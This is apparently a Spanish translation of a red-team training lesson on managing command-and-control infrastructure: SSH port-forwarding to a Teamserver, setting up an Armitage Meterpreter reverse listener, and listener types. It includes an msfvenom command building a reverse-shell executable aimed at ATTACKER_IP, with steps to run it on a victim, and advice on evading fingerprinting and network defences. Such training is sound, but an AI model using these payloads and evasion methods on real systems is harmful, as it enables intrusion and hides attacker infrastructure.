Acceder y Gestionar tu Infraestructura C2
Ahora que tienes una idea general de cómo configurar tu servidor C2, necesitamos ver algunos detalles de operación que deberías conocer antes de acceder a tu servidor C2. Es importante tener en cuenta que no requieres realizar acciones en esta tarea.
Seguridad Operacional Básica
Hemos tocado brevemente esto en la última sección. Nunca deberías tener la interfaz de gestión de tu C2 accesible directamente. Esto es primariamente para mejorar la seguridad operacional. Puede ser ser increíblemente fácil hacer fingerprint de servidores C2. Por ejemplo, en versiones anteriores a 3.13, los servidores C2 de Cobalt Strike son capaces de ser identificados por un espacio extra (\x20) al final de la respuesta HTTP. Usando esta táctica muchos blue teamers podrían hacer fingerprint de todos los servidores C2 Cobalt Strike accesibles públicamente. Para más información sobre fingerprinting e identificación de servidores C2 Cobalt Strike, comprueba esto publicado en el blog Future Recorded.

El punto de mencionar esto es que quieras reducir el riesgo operacional al mínimo. Si esto significa no tener la interfaz de gestión a tu servidor públicamente, entonces deberías hacerlo.
Acceder a tu Servidor C2 en Escucha Local de Manera Remota
Esta sección se enfoca en cómo acceder de forma segura a tu servidor C2 mediante SSH port-forwarding. El port-forwarding de SSH nos permite hostear recursos en una máquina remota redirigiendo un puerto local al servidor remoto, o nos permite acceder a recursos locales en la máquina remota a la que nos conectamos. En algunas circunstancias, puede circunvalar Firewalls.

O en nuestra instancia, podría ser usado por razones de seguridad operacional.

Ahora que tenemos un mejor entendimiento de por qué queremos hacer port-forwarding con SSH, vamos a ver cómo. En nuestro C2 configurado en la tarea anterior, nuestro Teamserver está escuchando en localhost TCP/55553. Para poder acceder remotamente a este puerto, debemos configurar un port-forwarding local al puerto del servidor Teamserver remoto. Podemos hacer esto con la flag -L en nuestro cliente SSH.
ssh -L 55553:127.0.0.1:55553 root@192.168.0.44
Ahora que tenemos un puerto remoto SSH redirigido, podemos conectarnos al servidor corriendo en TCP/55553. Como recordatorio, Armitage no soporta la escucha en la interfaz loopback (127.0.0.1-127.255.255.255), por lo que esto es consejo de administración de servidor C2 general. Verás que este consejo es más céntrico a servidores C2 como Covenant, Empire y muchos otros.
Recomendamos encarecidamente poner las reglas de firewall in situ para servidores C2 que deban escuchar en una interfaz pública para que sólo aquellos usuarios esperados puedan acceder al servidor C2. Hay varias formas de hacer esto. Si estás hosteando infraestructura Cloud, puedes configurar un grupo de seguridad o usar un firewall basado en host como UFW o IPTables.
Crear un Listener en Armitage
Ahora, vamos a movernos al tema que todos los servidores C2 tienen: la creación de listeners. Para permanecer en el tema, demostraremos cómo configurar un listener básico con Armitage para luego explorar alguno de los otros listeners teóricos que puedes encontrarte en otros varios frameworks. Creemos un Listener Meterpreter básico que corra en TCP/31337. Para comenzar, hacemos click en el menú desplegable de Armitage y vamos a la sección "Listeners". Deberíamos ver tres opciones: Bind, Reverse y set LHOST. Bind se refiere a shells bind, debes conectarte a los hosts. Reverse se refiere a las shells reverse, cuando el host se conecta a nosotros. Esta es la opción que usaremos.

Después de hacer click en "Reverse", un menú se abrirá, pidiéndote que configures algunos detalles básicos sobre el listener. Hay dos opciones entre las que puedes elegir: Shell o Meterpreter. Shell se refiere a una reverse shell estándar estilo Netcat y Meterpreter es la reverse shell Meterpreter estándar.

Después de presionar en en enter, un nuevo panel se abre, confirmando que tu listener ha sido creado. Esto debería verse como el módulo exploit/multi/handler de Metasploit.

Después de configurar el listener, puedes generar una reverse shell estándar windows/meterpreter/reverse_tcp usando MSFVenom y configurar LHOST al servidor Armitage para recibir llamadas de vuelta.
Obtener una Llamada de Vuelta
root@kali$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=31337 -f exe -o shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 354 bytes Final size of exe file: 73802 bytes Saved as: shell.exe
Después de generar la reverse shell, podemos transferir el payload a la máquina víctima y ejecutarlo. Después de un momento, deberíamos recibir una llamada de la máquina.

Tipo de Listener
Como hemos mencionado previamente, los listeners estándar de reverse shells, no son los únicos que existen; hay muchas variedades que usan diferentes protocolos. Sin embargo, hay unos cuantos comunes que cubriremos, estos siendo:
Listener Estándar
Estos suelen comunicarse directamente sobre socket crudo TCP o UDP, mandando comandos en texto plano. Metasploit tiene soporte total para estos.
Listeners HTTP/HTTPS
Estos suelen verse como algún tipo de servidor web y usan técnicas como Domain Fronting o perfiles C2 Malleable para enmascarar el servidor C2. Cuando se comunica especialmente sobre HTTPS, es menos probable que las comunicaciones sean bloqueadas por un NGFW. Metasploit tiene soporte completo para listeners HTTP/HTTPS.
Listeners DNS
Es una técnica popular específicamente usada en la fase de exfiltración donde infraestructura adicional es normalmente requerida para la configuración, o al menos, un Domain Name debe ser comprado y registrado, y un servidor NS público debe estar configurado. Es posible configurar operaciones DNS C2 en Metasploit con la ayuda de herramientas adicionales. Para más información sobre esto mira la presentación Meterpreter over DNS de Alexey Sintsov y Maxim Andreyanov. Suelen ser útiles para sobrepasar Proxies de Red.
Listeners SMB
Comunicarse vía named pipes SMB es un método popular, especialmente al lidiar con una red restringida; puede habilitar pivotaje más flexible con múltiples dispositivos hablando unos con otros y sólo un dispositivo devolviendo la información sobre un protocolo más común como HTTP/HTTPS. Metasploit tiene soporte para Named Pipes.
